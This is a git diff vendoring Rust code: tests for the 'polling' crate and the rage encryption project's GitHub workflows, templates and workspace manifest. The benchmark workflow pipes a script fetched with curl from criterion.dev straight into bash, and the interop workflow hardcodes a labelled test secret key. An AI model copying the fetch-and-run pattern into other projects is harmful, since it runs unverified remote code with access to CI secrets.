target_vendor = "apple", + target_os = "freebsd", + ), + not(polling_test_poll_backend) + )) { + assert!(lowest < dur + margin); + } + Ok(()) +} diff --git a/lib/malio/polling/tests/timeout.rs b/lib/malio/polling/tests/timeout.rs new file mode 100644 index 0000000..62763a1 --- /dev/null +++ b/lib/malio/polling/tests/timeout.rs @@ -0,0 +1,32 @@ +use std::io; +use std::time::{Duration, Instant}; + +use polling::{Events, Poller}; + +#[test] +fn twice() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + for _ in 0..2 { + let start = Instant::now(); + poller.wait(&mut events, Some(Duration::from_secs(1)))?; + let elapsed = start.elapsed(); + + assert!(elapsed >= Duration::from_secs(1)); + } + + Ok(()) +} + +#[test] +fn non_blocking() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + for _ in 0..100 { + poller.wait(&mut events, Some(Duration::from_secs(0)))?; + } + + Ok(()) +} diff --git a/lib/malio/polling/tests/windows_post.rs b/lib/malio/polling/tests/windows_post.rs new file mode 100644 index 0000000..33c3b6c --- /dev/null +++ b/lib/malio/polling/tests/windows_post.rs @@ -0,0 +1,64 @@ +//! Tests for the post() function on Windows. + +#![cfg(windows)] + +use polling::os::iocp::{CompletionPacket, PollerIocpExt}; +use polling::{Event, Events, Poller}; + +use std::sync::Arc; +use std::thread; +use std::time::Duration; + +#[test] +fn post_smoke() { + let poller = Poller::new().unwrap(); + let mut events = Events::new(); + + poller + .post(CompletionPacket::new(Event::readable(1))) + .unwrap(); + poller.wait(&mut events, None).unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); +} + +#[test] +fn post_multithread() { + let poller = Arc::new(Poller::new().unwrap()); + let mut events = Events::new(); + + thread::spawn({ + let poller = Arc::clone(&poller); + move || { + for i in 0..3 { + poller + .post(CompletionPacket::new(Event::writable(i))) + .unwrap(); + + thread::sleep(Duration::from_millis(100)); + } + } + }); + + for i in 0..3 { + poller + .wait(&mut events, Some(Duration::from_secs(5))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::writable(i) + ); + events.clear(); + } + + poller + .wait(&mut events, Some(Duration::from_millis(10))) + .unwrap(); + assert_eq!(events.len(), 0); +} diff --git a/lib/malio/polling/tests/windows_waitable.rs b/lib/malio/polling/tests/windows_waitable.rs new file mode 100644 index 0000000..c9e0e8f --- /dev/null +++ b/lib/malio/polling/tests/windows_waitable.rs @@ -0,0 +1,138 @@ +//! Tests for the waitable polling on Windows. + +#![cfg(windows)] + +use polling::os::iocp::PollerIocpExt; +use polling::{Event, Events, PollMode, Poller}; + +use windows_sys::Win32::Foundation::CloseHandle; +use windows_sys::Win32::System::Threading::{CreateEventW, ResetEvent, SetEvent}; + +use std::io; +use std::os::windows::io::{AsRawHandle, RawHandle}; +use std::os::windows::prelude::{AsHandle, BorrowedHandle}; +use std::time::Duration; + +/// A basic wrapper around the Windows event object. +struct EventHandle(RawHandle); + +impl Drop for EventHandle { + fn drop(&mut self) { + unsafe { + CloseHandle(self.0 as _); + } + } +} + +impl EventHandle { + fn new(manual_reset: bool) -> io::Result { + let handle = unsafe { + CreateEventW( + std::ptr::null_mut(), + manual_reset as _, + false as _, + std::ptr::null(), + ) + }; + + if handle.is_null() { + Err(io::Error::last_os_error()) + } else { + Ok(Self(handle as _)) + } + } + + /// Reset the event object. + fn reset(&self) -> io::Result<()> { + if unsafe { ResetEvent(self.0 as _) } != 0 { + Ok(()) + } else { + Err(io::Error::last_os_error()) + } + } + + /// Set the event object. + fn set(&self) -> io::Result<()> { + if unsafe { SetEvent(self.0 as _) } != 0 { + Ok(()) + } else { + Err(io::Error::last_os_error()) + } + } +} + +impl AsRawHandle for EventHandle { + fn as_raw_handle(&self) -> RawHandle { + self.0 + } +} + +impl AsHandle for EventHandle { + fn as_handle(&self) -> BorrowedHandle<'_> { + unsafe { BorrowedHandle::borrow_raw(self.0) } + } +} + +#[test] +fn smoke() { + let poller = Poller::new().unwrap(); + + let event = EventHandle::new(true).unwrap(); + + unsafe { + poller + .add_waitable(&event, Event::all(0), PollMode::Oneshot) + .unwrap(); + } + + let mut events = Events::new(); + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert!(events.is_empty()); + + // Signal the event. + event.set().unwrap(); + + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!(events.iter().next().unwrap().with_no_extra(), Event::all(0)); + + // Interest should be cleared. + events.clear(); + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert!(events.is_empty()); + + // If we modify the waitable, it should be added again. + poller + .modify_waitable(&event, Event::all(0), PollMode::Oneshot) + .unwrap(); + + events.clear(); + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!(events.iter().next().unwrap().with_no_extra(), Event::all(0)); + + // If we reset the event, it should not be signaled. + event.reset().unwrap(); + poller + .modify_waitable(&event, Event::all(0), PollMode::Oneshot) + .unwrap(); + + events.clear(); + poller + .wait(&mut events, Some(Duration::from_millis(100))) + .unwrap(); + + assert!(events.is_empty()); +} diff --git a/lib/rage/.gitattributes b/lib/rage/.gitattributes new file mode 100644 index 0000000..d7bbaf1 --- /dev/null +++ b/lib/rage/.gitattributes @@ -0,0 +1,2 @@ +*.age binary +age/tests/testdata/testkit/* binary diff --git a/lib/rage/.github/ISSUE_TEMPLATE/bug-report.md b/lib/rage/.github/ISSUE_TEMPLATE/bug-report.md new file mode 100644 index 0000000..195424e --- /dev/null +++ b/lib/rage/.github/ISSUE_TEMPLATE/bug-report.md @@ -0,0 +1,21 @@ +--- +name: Bug report +about: Create a report about a bug in this implementation. +title: '' +labels: '' +assignees: '' + +--- + +## Environment + +* OS: +* rage version: + +## What were you trying to do + +## What happened + +``` + +``` diff --git a/lib/rage/.github/ISSUE_TEMPLATE/ux-report.md b/lib/rage/.github/ISSUE_TEMPLATE/ux-report.md new file mode 100644 index 0000000..0e7aa70 --- /dev/null +++ b/lib/rage/.github/ISSUE_TEMPLATE/ux-report.md @@ -0,0 +1,21 @@ +--- +name: UX report +about: Was rage hard to use? It's not you, it's us. We want to hear about it. +title: 'UX: ' +labels: 'UX report' +assignees: '' + +--- + + + +## What were you trying to do + +## What happened + +``` + +``` diff --git a/lib/rage/.github/dependabot.yml b/lib/rage/.github/dependabot.yml new file mode 100644 index 0000000..a3014a1 --- /dev/null +++ b/lib/rage/.github/dependabot.yml @@ -0,0 +1,12 @@ +version: 2 +updates: + - package-ecosystem: github-actions + directory: "/" + schedule: + interval: daily + timezone: Etc/UTC + open-pull-requests-limit: 10 + reviewers: + - str4d + assignees: + - str4d diff --git a/lib/rage/.github/workflows/audit.yml b/lib/rage/.github/workflows/audit.yml new file mode 100644 index 0000000..41530c4 --- /dev/null +++ b/lib/rage/.github/workflows/audit.yml @@ -0,0 +1,18 @@ +name: Security audit + +on: + schedule: + - cron: '0 0 * * *' + +jobs: + audit: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions-rs/install@v0.1 + with: + crate: cargo-audit + # use-tool-cache: true + - uses: actions-rs/audit-check@v1 + with: + token: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/rage/.github/workflows/audits.yml b/lib/rage/.github/workflows/audits.yml new file mode 100644 index 0000000..d7ed1d5 --- /dev/null +++ b/lib/rage/.github/workflows/audits.yml @@ -0,0 +1,19 @@ +name: Audits + +on: [push, pull_request] + +permissions: + contents: read + +jobs: + cargo-vet: + name: Vet Rust dependencies + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + id: toolchain + - run: rustup override set ${{steps.toolchain.outputs.name}} + - name: Install cargo-vet + run: cargo install cargo-vet + - run: cargo vet --locked diff --git a/lib/rage/.github/workflows/ci.yml b/lib/rage/.github/workflows/ci.yml new file mode 100644 index 0000000..3d92bfd --- /dev/null +++ b/lib/rage/.github/workflows/ci.yml @@ -0,0 +1,115 @@ +name: CI checks + +on: [push, pull_request] + +jobs: + test: + name: Test on ${{ matrix.os }} + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, windows-latest, macOS-latest] + + steps: + - uses: actions/checkout@v4 + - name: Run tests + run: > + cargo test + --workspace + --features ' + armor + async + cli-common + plugin + ssh + unstable + ' + - name: Verify working directory is clean + run: git diff --exit-code + + build: + name: Build target ${{ matrix.target }} + runs-on: ubuntu-latest + strategy: + matrix: + target: + - wasm32-wasi + + steps: + - uses: actions/checkout@v4 + - name: Add target + run: rustup target add ${{ matrix.target }} + - run: cargo fetch + - name: Build for target + working-directory: ./age + run: cargo build --verbose --no-default-features --target ${{ matrix.target }} + + bitrot: + name: Bitrot + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install linux build dependencies + run: sudo apt update && sudo apt install libfuse-dev + - run: cargo check --all-targets --all-features + + clippy: + name: Clippy (MSRV) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install linux build dependencies + run: sudo apt update && sudo apt install libfuse-dev + - name: Clippy check + uses: actions-rs/clippy-check@v1 + with: + name: Clippy (MSRV) + token: ${{ secrets.GITHUB_TOKEN }} + args: --all-features --all-targets -- -D warnings + + codecov: + name: Code coverage + runs-on: ubuntu-latest + container: + image: xd009642/tarpaulin:develop-nightly + options: --security-opt seccomp=unconfined + + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + id: toolchain + - run: rustup override set ${{steps.toolchain.outputs.name}} + - name: Install linux build dependencies + run: apt update && apt -y install libfuse-dev + - name: Generate coverage report + run: > + cargo tarpaulin + --engine llvm + --workspace + --release + --all-features + --timeout 180 + --out xml + - name: Upload coverage to Codecov + uses: codecov/codecov-action@v4.6.0 + with: + fail_ci_if_error: true + token: ${{ secrets.CODECOV_TOKEN }} + + doc-links: + name: Intra-doc links + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - run: cargo fetch + # Requires #![deny(rustdoc::broken_intra_doc_links)] in crates. + - name: Check intra-doc links + run: cargo doc --all --exclude rage --all-features --document-private-items + + fmt: + name: Rustfmt + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Check formatting + run: cargo fmt --all -- --check diff --git a/lib/rage/.github/workflows/criterion.yml b/lib/rage/.github/workflows/criterion.yml new file mode 100644 index 0000000..87a21bc --- /dev/null +++ b/lib/rage/.github/workflows/criterion.yml @@ -0,0 +1,27 @@ +name: Benchmarks + +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +env: + CARGO_TERM_COLOR: always + +jobs: + build: + name: Run benchmarks + runs-on: ubuntu-latest + env: + CRITERION_TOKEN: ${{ secrets.CRITERION_TOKEN }} + steps: + - uses: actions/checkout@v4 + - name: Run benchmarks + run: | + # run benchmarks and save baseline to "criterion.dev.temp" + cargo bench -- --verbose --noplot + - name: Upload benchmarks + run: | + # upload the file + bash <(curl -s https://criterion.dev/bash) diff --git a/lib/rage/.github/workflows/interop.yml b/lib/rage/.github/workflows/interop.yml new file mode 100644 index 0000000..24b6e81 --- /dev/null +++ b/lib/rage/.github/workflows/interop.yml @@ -0,0 +1,251 @@ +name: Interoperability tests + +on: [push, repository_dispatch] + +jobs: + build-rage: + name: Build rage + runs-on: ubuntu-latest + + steps: + - name: Create FiloSottile/age status + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "pending", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "In progress", "context": "Interoperability tests / Build rage"}' + + - uses: actions/checkout@v4 + - name: cargo build + run: cargo build --release --features unstable + working-directory: ./rage + - uses: actions/upload-artifact@v4 + with: + name: rage + path: | + target/release/rage + target/release/rage-keygen + + - name: Update FiloSottile/age status with result + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "${{ job.status }}", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "Finished", "context": "Interoperability tests / Build rage"}' + + build-age: + name: Build age + runs-on: ubuntu-latest + + steps: + - name: Create FiloSottile/age status + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "pending", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "In progress", "context": "Interoperability tests / Build age"}' + + - name: Set up Go 1.19 + uses: actions/setup-go@v5 + with: + go-version: 1.19 + id: go + + - name: Use specified FiloSottile/age commit + if: github.event.action == 'age-interop-request' + run: echo "AGE_REF=${{ github.event.client_payload.sha }}" >> $GITHUB_ENV + - name: Use FiloSottile/age current main + if: github.event.action != 'age-interop-request' + run: echo "AGE_REF=refs/heads/main" >> $GITHUB_ENV + + - name: Check out FiloSottile/age + uses: actions/checkout@v4 + with: + repository: FiloSottile/age + ref: ${{ env.AGE_REF }} + path: go-age/age + - name: go build + run: | + cd $GITHUB_WORKSPACE/go-age/age + go build filippo.io/age/cmd/age + go build filippo.io/age/cmd/age-keygen + - uses: actions/upload-artifact@v4 + with: + name: age + path: | + go-age/age/age + go-age/age/age-keygen + + - name: Update FiloSottile/age status with result + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "${{ job.status }}", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "Finished", "context": "Interoperability tests / Build age"}' + + test: + name: ${{ matrix.alice }} -> ${{ matrix.bob }} [${{ matrix.recipient }}] + runs-on: ubuntu-latest + needs: [build-rage, build-age] + strategy: + matrix: + alice: [rage, age] + bob: [rage, age] + recipient: [x25519, ssh-rsa, ssh-ed25519] + fail-fast: false + + steps: + - name: Create FiloSottile/age status + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "pending", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "In progress", "context": "Interoperability tests / ${{ matrix.alice }} -> ${{ matrix.bob }} [${{ matrix.recipient }}]"}' + + # Download the binaries to test + - uses: actions/download-artifact@v4 + with: + name: rage + - uses: actions/download-artifact@v4 + with: + name: age + - run: chmod +x rage + - run: chmod +x rage-keygen + - run: chmod +x age + - run: chmod +x age-keygen + + # Prepare the test environment + - name: Install dos2unix for simulating Windows files + run: sudo apt update && sudo apt install dos2unix + - name: Write (very not private) age X25519 key + if: matrix.recipient == 'x25519' + run: echo "AGE-SECRET-KEY-1TRYTV7PQS5XPUYSTAQZCD7DQCWC7Q77YJD7UVFJRMW4J82Q6930QS70MRX" >key.txt + - name: Save the corresponding age x25519 recipient + if: matrix.recipient == 'x25519' + run: echo "age1y8m84r6pwd4da5d45zzk03rlgv2xr7fn9px80suw3psrahul44ashl0usm" >key.txt.pub + - name: Set the corresponding age x25519 recipient + if: matrix.recipient == 'x25519' + run: echo "AGE_PUBKEY=-r age1y8m84r6pwd4da5d45zzk03rlgv2xr7fn9px80suw3psrahul44ashl0usm" >> $GITHUB_ENV + - name: Generate an ssh-rsa key + if: matrix.recipient == 'ssh-rsa' + run: ssh-keygen -t rsa -N "" -f key.txt + - name: Generate an ssh-ed25519 key + if: matrix.recipient == 'ssh-ed25519' + run: ssh-keygen -t ed25519 -N "" -f key.txt + - name: Set the corresponding SSH recipient + if: matrix.recipient == 'ssh-rsa' || matrix.recipient == 'ssh-ed25519' + run: echo "AGE_PUBKEY=-R key.txt.pub" >> $GITHUB_ENV + - name: Store key.txt in case we need it + uses: actions/upload-artifact@v4 + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_key.txt + path: key.txt + + # Tests! + - name: Encrypt to file + run: echo "Test string" | ./${{ matrix.alice }} -o test.age $AGE_PUBKEY + - name: Decrypt from file + run: ./${{ matrix.bob }} -d -i key.txt test.age | grep -q "^Test string$" + - name: Store test.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test.age + path: test.age + + - name: Generate a file to encrypt + run: echo "2 test 2 string" > test2.txt + - name: Encrypt to ASCII-armored file + run: ./${{ matrix.alice }} -a -o test2.age $AGE_PUBKEY test2.txt + - name: Decrypt from ASCII-armored file + run: ./${{ matrix.bob }} -d -i key.txt test2.age | grep -q "^2 test 2 string$" + - name: Store test2.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test2.age + path: test2.age + + - name: Convert file to CRLF + run: unix2dos test2.age + - name: Decrypt from ASCII-armored CRLF file + run: ./${{ matrix.bob }} -d -i key.txt test2.age | grep -q "^2 test 2 string$" + - name: Store CRLF-ed test2.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test2.age + path: test2.age + + - name: Pipes! + run: echo "Test string 3 - ASCII Drift" | ./${{ matrix.alice }} $AGE_PUBKEY | tee --output-error=warn test3.age | ./${{ matrix.bob }} -d -i key.txt | grep -q "^Test string 3 - ASCII Drift$" + - name: Store test3.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test3.age + path: test3.age + + - name: Explicit stdout during encryption + run: ./${{ matrix.alice }} -a -o - $AGE_PUBKEY test2.txt >test4.age + - name: Explicit stdin during decryption + run: cat test4.age | ./${{ matrix.bob }} -d -i key.txt - | grep -q "^2 test 2 string$" + - name: Store test4.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test4.age + path: test4.age + + - name: Generate a file to encrypt + run: echo "Test 5" > test5.txt + - name: Encrypt to identity in a named pipe + run: ./${{ matrix.alice }} -e -i <(cat key.txt) -o test5.age test5.txt + - name: Decrypt with identity in a named pipe + run: ./${{ matrix.bob }} -d -i <(cat key.txt) test5.age | grep -q "^Test 5$" + - name: Store test5.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test5.age + path: test5.age + + - name: Encrypt to recipient in standard input + run: cat key.txt.pub | ./${{ matrix.alice }} -e -R - -o test6.age test5.txt + - name: Decrypt with identity in standard input + run: cat key.txt | ./${{ matrix.bob }} -d -i - test6.age | grep -q "^Test 5$" + - name: Store test6.age + uses: actions/upload-artifact@v4 + if: failure() + with: + name: ${{ matrix.alice }}_${{ matrix.bob }}_${{ matrix.recipient }}_test6.age + path: test6.age + + - name: Keygen prevents overwriting an existing file + run: | + touch do_not_overwrite_key.txt + if $(./${{ matrix.alice }}-keygen -o do_not_overwrite_key.txt); then + false + else + true + fi + + - name: Keygen supports conversion from stdin + run: ./${{ matrix.alice }}-keygen | ./${{ matrix.bob }}-keygen -y + + - name: Keygen supports conversion from file + if: matrix.recipient == 'x25519' + run: ./${{ matrix.alice }}-keygen -y key.txt + + - name: Update FiloSottile/age status with result + if: always() && github.event.action == 'age-interop-request' + run: | + curl -X POST https://api.github.com/repos/FiloSottile/age/statuses/${{ github.event.client_payload.sha }} \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -H 'Authorization: token ${{ secrets.AGE_STATUS_ACCESS_TOKEN }}' \ + --data '{"state": "${{ job.status }}", "target_url": "https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}", "description": "Finished", "context": "Interoperability tests / ${{ matrix.alice }} -> ${{ matrix.bob }} [${{ matrix.recipient }}]"}' diff --git a/lib/rage/.github/workflows/release.yml b/lib/rage/.github/workflows/release.yml new file mode 100644 index 0000000..d898e4f --- /dev/null +++ b/lib/rage/.github/workflows/release.yml @@ -0,0 +1,359 @@ +name: Publish release binaries + +on: + push: + tags: + - 'v*' + workflow_dispatch: + inputs: + test: + description: 'Testing the release workflow' + required: true + default: 'true' + +permissions: + attestations: write + contents: write + id-token: write + +jobs: + build: + name: Publish for ${{ matrix.name }} + runs-on: ${{ matrix.os }} + strategy: + matrix: + name: + - linux + - armv7 + - arm64 + - windows + - macos-arm64 + - macos-x86_64 + + include: + - name: linux + os: ubuntu-20.04 + build_deps: > + libfuse-dev + build_flags: --features mount + archive_name: rage.tar.gz + asset_suffix: x86_64-linux.tar.gz + + - name: armv7 + os: ubuntu-20.04 + target: armv7-unknown-linux-gnueabihf + build_deps: > + gcc-arm-linux-gnueabihf + cargo_config: | + [target.armv7-unknown-linux-gnueabihf] + linker = "arm-linux-gnueabihf-gcc" + build_flags: --target armv7-unknown-linux-gnueabihf + archive_name: rage.tar.gz + asset_suffix: armv7-linux.tar.gz + + - name: arm64 + os: ubuntu-20.04 + target: aarch64-unknown-linux-gnu + build_deps: > + gcc-aarch64-linux-gnu + cargo_config: | + [target.aarch64-unknown-linux-gnu] + linker = "aarch64-linux-gnu-gcc" + build_flags: --target aarch64-unknown-linux-gnu + archive_name: rage.tar.gz + asset_suffix: arm64-linux.tar.gz + + - name: windows + os: windows-latest + archive_name: rage.zip + asset_suffix: x86_64-windows.zip + + - name: macos-arm64 + os: macos-latest + archive_name: rage.tar.gz + asset_suffix: arm64-darwin.tar.gz + + - name: macos-x86_64 + os: macos-13 + archive_name: rage.tar.gz + asset_suffix: x86_64-darwin.tar.gz + + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + id: toolchain + with: + targets: ${{ matrix.target }} + - run: rustup override set ${{steps.toolchain.outputs.name}} + + - name: Install linux build dependencies + run: sudo apt update && sudo apt install ${{ matrix.build_deps }} + if: matrix.build_deps != '' + + - name: Set up .cargo/config + run: | + mkdir .cargo + echo '${{ matrix.cargo_config }}' >.cargo/config + if: matrix.cargo_config != '' + + - name: cargo build + run: cargo build --release --locked ${{ matrix.build_flags }} + working-directory: ./rage + + - name: Create archive + run: | + mkdir -p release/rage + mv target/${{ matrix.target }}/release/rage* release/rage/ + rm release/rage/*.d + tar czf ${{ matrix.archive_name }} -C release/ rage/ + if: matrix.name != 'windows' + + - name: Create archive [Windows] + run: | + mkdir -p release/rage + mv target/release/rage.exe release/rage/ + mv target/release/rage-keygen.exe release/rage/ + cd release/ + 7z.exe a ../${{ matrix.archive_name }} rage/ + shell: bash + if: matrix.name == 'windows' + + - name: Generate artifact attestation + uses: actions/attest-build-provenance@v1 + with: + subject-path: 'release/rage/*' + + - name: Upload archive as artifact + uses: actions/upload-artifact@v4 + with: + name: rage-${{ matrix.asset_suffix }} + path: ${{ matrix.archive_name }} + if: github.event.inputs.test == 'true' + + - name: Upload archive to release + uses: svenstaro/upload-release-action@2.9.0 + with: + repo_token: ${{ secrets.GITHUB_TOKEN }} + file: ${{ matrix.archive_name }} + asset_name: rage-$tag-${{ matrix.asset_suffix }} + tag: ${{ github.ref }} + prerelease: true + if: github.event.inputs.test != 'true' + + test: + name: Test rage-${{ matrix.asset_suffix }} on ${{ matrix.os }} + needs: build + if: github.event.inputs.test == 'true' + runs-on: ${{ matrix.os }} + + strategy: + matrix: + os: + - ubuntu-20.04 + - ubuntu-22.04 + - ubuntu-24.04 + - windows-2019 + - windows-2022 + - macos-12 + - macos-13 + - macos-14 + + include: + - os: ubuntu-20.04 + name: linux + archive_name: rage.tar.gz + asset_suffix: x86_64-linux.tar.gz + + - os: ubuntu-22.04 + name: linux + archive_name: rage.tar.gz + asset_suffix: x86_64-linux.tar.gz + + - os: ubuntu-24.04 + name: linux + archive_name: rage.tar.gz + asset_suffix: x86_64-linux.tar.gz + + - os: windows-2019 + name: windows + archive_name: rage.zip + asset_suffix: x86_64-windows.zip + + - os: windows-2022 + name: windows + archive_name: rage.zip + asset_suffix: x86_64-windows.zip + + - os: macos-12 + name: macos + archive_name: rage.tar.gz + asset_suffix: x86_64-darwin.tar.gz + + - os: macos-13 + name: macos + archive_name: rage.tar.gz + asset_suffix: x86_64-darwin.tar.gz + + - os: macos-14 + name: macos + archive_name: rage.tar.gz + asset_suffix: arm64-darwin.tar.gz + + steps: + - name: Download archive + uses: actions/download-artifact@v4 + with: + name: rage-${{ matrix.asset_suffix }} + + - name: Extract archive + run: tar xzf ${{ matrix.archive_name }} + if: matrix.name != 'windows' + + - name: Extract archive [Windows] + run: 7z.exe x ${{ matrix.archive_name }} + shell: bash + if: matrix.name == 'windows' + + - name: Test key generation + run: ./rage/rage-keygen -o key.txt + - name: Test encryption + run: | + echo "Hello World!" > test.txt + ./rage/rage -e -i key.txt -o test.txt.age test.txt + - name: Test decryption + run: ./rage/rage -d -i key.txt test.txt.age + + deb: + name: Debian ${{ matrix.name }} + runs-on: ubuntu-20.04 + strategy: + matrix: + name: [linux, linux-musl, armv7, armv7-musl, arm64, arm64-musl] + include: + - name: linux + target: x86_64-unknown-linux-gnu + build_deps: > + libfuse-dev + build_flags: --features mount + + - name: linux-musl + target: x86_64-unknown-linux-musl + build_deps: > + musl-tools + deb_flags: --variant=musl + + - name: armv7 + target: armv7-unknown-linux-gnueabihf + build_deps: > + gcc-arm-linux-gnueabihf + cargo_config: | + [target.armv7-unknown-linux-gnueabihf] + linker = "arm-linux-gnueabihf-gcc" + + - name: armv7-musl + target: armv7-unknown-linux-musleabihf + build_deps: > + gcc-arm-linux-gnueabihf + musl-tools + cargo_config: | + [target.armv7-unknown-linux-musleabihf] + linker = "arm-linux-gnueabihf-gcc" + deb_flags: --variant=musl + + - name: arm64 + target: aarch64-unknown-linux-gnu + build_deps: > + gcc-aarch64-linux-gnu + cargo_config: | + [target.aarch64-unknown-linux-gnu] + linker = "aarch64-linux-gnu-gcc" + + - name: arm64-musl + target: aarch64-unknown-linux-musl + build_deps: > + gcc-aarch64-linux-gnu + musl-tools + cargo_config: | + [target.aarch64-unknown-linux-musl] + linker = "aarch64-linux-gnu-gcc" + deb_flags: --variant=musl + + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + id: toolchain + with: + targets: ${{ matrix.target }} + - run: rustup override set ${{steps.toolchain.outputs.name}} + - name: cargo install cargo-deb + run: cargo install cargo-deb + + - name: Install build dependencies + run: sudo apt update && sudo apt install ${{ matrix.build_deps }} + if: matrix.build_deps != '' + + - name: Set up .cargo/config + run: | + mkdir .cargo + echo '${{ matrix.cargo_config }}' >.cargo/config + if: matrix.cargo_config != '' + + - name: cargo build + run: cargo build --release --locked --target ${{ matrix.target }} ${{ matrix.build_flags }} + working-directory: ./rage + + - name: Update Debian package config for cross-compile + run: sed -i '/\/_\?rage-mount/d' rage/Cargo.toml + if: matrix.name != 'linux' + + - name: cargo deb + run: cargo deb --package rage --no-build --target ${{ matrix.target }} ${{ matrix.deb_flags }} + + - name: Generate artifact attestation + uses: actions/attest-build-provenance@v1 + with: + subject-path: 'target/${{ matrix.target }}/debian/*.deb' + + - name: Upload Debian package as artifact + uses: actions/upload-artifact@v4 + with: + name: rage-${{ matrix.name }}.deb + path: target/${{ matrix.target }}/debian/*.deb + if: github.event.inputs.test == 'true' + + - name: Upload Debian package to release + uses: svenstaro/upload-release-action@2.9.0 + with: + repo_token: ${{ secrets.GITHUB_TOKEN }} + file: target/${{ matrix.target }}/debian/*.deb + tag: ${{ github.ref }} + file_glob: true + prerelease: true + if: github.event.inputs.test != 'true' + + test-deb: + name: Test rage-${{ matrix.variant }}.deb on ${{ matrix.os }} + needs: deb + if: github.event.inputs.test == 'true' + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-20.04, ubuntu-22.04] + variant: [linux, linux-musl] + + steps: + - name: Download Debian package artifact + uses: actions/download-artifact@v4 + with: + name: rage-${{ matrix.variant }}.deb + - name: Install Debian package + run: sudo apt install ./rage*.deb + + - name: Test key generation + run: rage-keygen -o key.txt + - name: Test encryption + run: | + echo "Hello World!" > test.txt + rage -e -i key.txt -o test.txt.age test.txt + - name: Test decryption + run: rage -d -i key.txt test.txt.age diff --git a/lib/rage/.gitignore b/lib/rage/.gitignore new file mode 100644 index 0000000..8e01a31 --- /dev/null +++ b/lib/rage/.gitignore @@ -0,0 +1,5 @@ +# CLion IDE +.idea + +/target +**/*.rs.bk diff --git a/lib/rage/Cargo.toml b/lib/rage/Cargo.toml new file mode 100644 index 0000000..fe8e5a4 --- /dev/null +++ b/lib/rage/Cargo.toml @@ -0,0 +1,67 @@ +[workspace] +members = [ + "age", + "age-core", + "age-plugin", + "rage", +] +resolver = "2" + +[workspace.package] +authors = ["Jack Grigg "] +edition = "2021" +rust-version = "1.65" +repository = "https://github.com/str4d/rage" +license = "MIT OR Apache-2.0" + +[workspace.dependencies] +age = { version = "0.11.1", path = "age" } 